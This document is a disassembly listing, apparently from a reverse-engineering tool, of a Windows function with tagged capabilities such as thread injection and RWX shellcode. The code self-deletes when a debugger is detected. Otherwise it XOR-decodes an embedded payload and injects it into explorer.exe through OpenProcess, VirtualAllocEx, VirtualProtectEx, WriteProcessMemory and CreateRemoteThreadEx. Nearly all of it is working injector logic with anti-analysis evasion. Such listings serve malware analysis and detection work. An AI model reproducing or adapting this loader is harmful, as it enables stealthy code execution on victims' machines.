Function at 0x140001cea
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x280
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x220], ecx
mov qword [rbp + 0x228], rdx
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call rax
test eax, eax
je 0x140001d39
lea rax, str._i__debugger_present_n
mov rcx, rax
call sym.puts
call sym.SelfDelete
mov eax, 1
jmp 0x1400020bd
lea rax, str._i__debugger_not_present_n
mov rcx, rax
call sym.puts
mov qword [rbp + 0x1f0], 0
mov qword [rbp + 0x1e8], 0
mov dword [rbp + 0x1e4], 0
mov dword [rbp + 0x1e0], 0
mov qword [rbp + 0x1d8], 0
lea rax, str.explorer.exe
mov rcx, rax
call sym.retrivePID
mov dword [rbp + 0x1e4], eax
cmp dword [rbp + 0x1e4], 0xffffffff
jne 0x140001db4
lea rax, str.____Could_not_retrive_PID_process_n
mov rcx, rax
call sym.puts
mov eax, 1
jmp 0x1400020bd
lea rax, [rbp - 0x40]
lea rdx, [0x140005380]
mov ecx, 0x40
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov byte [rbp + 0x1d7], 0x4b
mov dword [rbp + 0x1fc], 0
jmp 0x140001e08
mov eax, dword [rbp + 0x1fc]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor al, byte [rbp + 0x1d7]
mov edx, eax
mov eax, dword [rbp + 0x1fc]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x1fc], 1
mov eax, dword [rbp + 0x1fc]
cmp eax, 0x1fd
jbe 0x140001de0
mov qword [rbp + 0x1c8], 0x200
mov eax, dword [rbp + 0x1e4]
mov edx, eax
lea rax, str._i__Fetching_handle_for_process_with_PID:__ld_n__n
mov rcx, rax
call sym.printf
mov eax, dword [rbp + 0x1e4]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x1f0], rax
cmp qword [rbp + 0x1f0], 0
jne 0x140001e88
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____Could_not_get_handle_to_the_process__error_number___ld__n_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x1400020bd
mov rax, qword [rbp + 0x1f0]
mov rdx, rax
lea rax, str._i__Got_handle_on_process:__0x_p_n_n
mov rcx, rax
call sym.printf
mov rdx, qword [rbp + 0x1c8]
mov rax, qword [rbp + 0x1f0]
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x1d8], rax
cmp qword [rbp + 0x1d8], 0
jne 0x140001f06
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____Could_not_allocate_buffer__error__ld__n_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x1400020bd
mov rax, qword [rbp + 0x1c8]
mov rdx, rax
lea rax, str._i__Allocated__zd_bytes_to_the_process_memory_n_n
mov rcx, rax
call sym.printf
mov r8, qword [rbp + 0x1c8]
mov rdx, qword [rbp + 0x1d8]
mov rax, qword [rbp + 0x1f0]
mov rcx, qword [rbp + 0x1c0]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call rax
test eax, eax
jne 0x140001f7a
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____Could_not_change_permissions__error__ld__n_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x1400020bd
lea rax, str._i__Permissions_changed_n
mov rcx, rax
call sym.puts
mov r8, qword [rbp + 0x1c8]
lea rcx, [rbp - 0x40]
mov rdx, qword [rbp + 0x1d8]
mov rax, qword [rbp + 0x1f0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
jne 0x140001fe5
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____Could_not_write_memory__error__ld__n_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x1400020bd
lea rax, str._i__Written_shellcode_to_the_allocated_process_memory_n
mov rcx, rax
call sym.puts
mov eax, dword [rbp + 0x1e0]
mov rcx, rax
mov rdx, qword [rbp + 0x1d8]
mov rax, qword [rbp + 0x1f0]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
call rax
mov qword [rbp + 0x1e8], rax
cmp qword [rbp + 0x1e8], 0
jne 0x14000206b
lea rax, str.____Could_not_execute_thread_n
mov rcx, rax
call sym.puts
mov eax, 1
jmp 0x1400020bd
lea rax, str._i__Code_executed_n
mov rcx, rax
call sym.puts
mov rax, qword [rbp + 0x1e8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x1e8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x1f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x280
pop rsi
pop rdi
pop rbp
ret